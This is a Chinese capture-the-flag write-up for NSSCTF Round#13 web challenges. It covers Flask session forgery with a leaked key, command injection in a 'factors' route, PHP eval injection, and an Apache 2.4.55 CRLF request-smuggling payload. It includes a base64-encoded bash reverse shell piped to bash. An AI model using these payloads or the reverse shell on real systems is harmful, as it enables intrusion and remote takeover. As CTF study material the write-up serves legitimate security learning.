NSSCTF Round#13 web专项

发布时间 2023-06-04 16:39:47作者: F12~

rank:3

flask?jwt?

简单的注册个账号,在/changePassword 下查看页面源代码发现密钥<!-- secretkey: th3f1askisfunny --> ,很好,老套路了,flask-session-cookie-manager伪造,把_user_id 改成1,访问/getFlag ,拿到flag

ez_factors

查看页面源代码,发现路由/factors/114514 ,访问发现114514被分解,猜测后台逻辑是利用linux命令factor对/factors/后接的字符执行,这样直接用; 来个多命令执行,访问/factors/114514;cd ..;cd ..;cd ..;cd ..;cat flag ,有东西不过是一串数字,嗯,看样子应该是读不出来了,直接反弹shell,echo YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=|base64 -d|bash ,利用base64防止有/导致破坏路由,成功反弹shell

MyWeb

代码如下:

<?php
error_reporting(E_ALL);
// 写了个网页存储JSON数据,但是还不会处理json格式,这样处理应该没有什么问题吧

if ($_GET['mode'] == 'save') {
    $data = file_get_contents('/tmp/data.json');
    $value = addslashes($_GET['value']);
    $data = str_replace(']', ", '$value']", $data);
    file_put_contents('/tmp/data.json', $data);
} else if ($_GET['mode'] == 'read') {
    $data = file_get_contents('/tmp/data.json');
    eval('$data = ' . $data . ';');
    print_r($data);
} else {
    highlight_file(__FILE__);
}

很明显能命令执行,写个1进去,read之后是这样的

看代码把] 替换成, $value] ,猜测它的json文件是这样写的:[1,2,3········] 这样我们构造把它闭合不就能执行命令了,直接构造个

];%0aecho cat /flag;%0a[

]闭合前面的[,[则闭合后面的],%0a换行确保我们的命令能执行

read一下,拿到flag

flask?jwt?(hard)

第一道题的复仇版,其实也没多啥内容,就开了个Debug,让我们找密钥,还是先注册个账号登录,页面源代码给了个/wor 路由,访问之后,没什么有用的信息,我们直接给seesion改了,删减几个字符,成功进入Debug页面,这里直接抓包,搜secret,成功拿到密钥

接下来跟第一道一样的步骤,这里不在赘述

信息收集

Apache HTTP Server2.4.55,百度一下这个版本,有个请求走私漏洞,但我们啥也不知道,不知道走私哪

参考这篇文章http://www.hackdig.com/03/hack-949961.htm

访问index.php,这里有个任意文件读取,读/usr/local/apache2/conf/httpd.conf 发现这个

嗯,做了个proxy转发,猜测flag直接就在转发后当前目录flag.txt里(瞎猜就是了,大不了多试试),利用CRLF注入,payload:

/nssctf/0%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/flag.txt

TimeTrcer

做大牢,前端做不了一点